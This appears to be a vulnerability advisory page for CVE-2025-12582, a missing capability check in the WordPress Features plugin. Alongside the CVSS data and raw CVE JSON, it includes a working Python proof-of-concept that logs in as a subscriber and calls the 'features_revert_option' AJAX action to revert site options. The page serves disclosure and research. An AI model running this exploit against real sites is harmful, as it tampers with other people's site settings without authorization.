Security Vulnerability Report
中文
CVE-2025-12582 CVSS 4.3 MEDIUM

CVE-2025-12582

Published: 2025-11-05 03:15:43
Last Modified: 2026-04-15 00:35:42

Description

The Features plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the 'features_revert_option AJAX endpoint in all versions up to, and including, 0.0.2. This makes it possible for authenticated attackers, with Subscriber-level access and above, to revert options.

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Features 插件 <= 0.0.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-12582 PoC - WordPress Features Plugin Unauthorized Option Revert # Affected: Features plugin <= 0.0.2 import requests import sys from urllib.parse import urlencode def exploit_cve_2025_12582(target_url, username, password, option_name='default'): """ Exploit for CVE-2025-12582: WordPress Features plugin missing capability check on features_revert_option AJAX endpoint """ # Setup session session = requests.Session() # Login to WordPress login_url = f"{target_url}/wp-login.php" login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': target_url, 'testcookie': '1' } session.post(login_url, data=login_data) # Check if logged in successfully if 'wordpress_logged_in' not in str(session.cookies.get_dict()): print("[-] Login failed") return False print("[+] Login successful") # Exploit the vulnerability ajax_url = f"{target_url}/wp-admin/admin-ajax.php" exploit_data = { 'action': 'features_revert_option', 'option_name': option_name # Target option to revert } response = session.post(ajax_url, data=exploit_data) if response.status_code == 200: print(f"[+] Request sent successfully") print(f"[+] Response: {response.text}") return True else: print(f"[-] Request failed with status: {response.status_code}") return False if __name__ == '__main__': if len(sys.argv) < 5: print(f"Usage: python {sys.argv[0]} <target_url> <username> <password> <option_name>") print(f"Example: python {sys.argv[0]} http://example.com subscriber password my_option") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] option = sys.argv[4] exploit_cve_2025_12582(target, user, pwd, option)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-12582", "sourceIdentifier": "[email protected]", "published": "2025-11-05T03:15:42.703", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Features plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the 'features_revert_option AJAX endpoint in all versions up to, and including, 0.0.2. This makes it possible for authenticated attackers, with Subscriber-level access and above, to revert options."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://wordpress.org/plugins/features/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/4a6efab8-04a0-459f-a791-9360c83e5dbe?source=cve", "source": "[email protected]"}]}}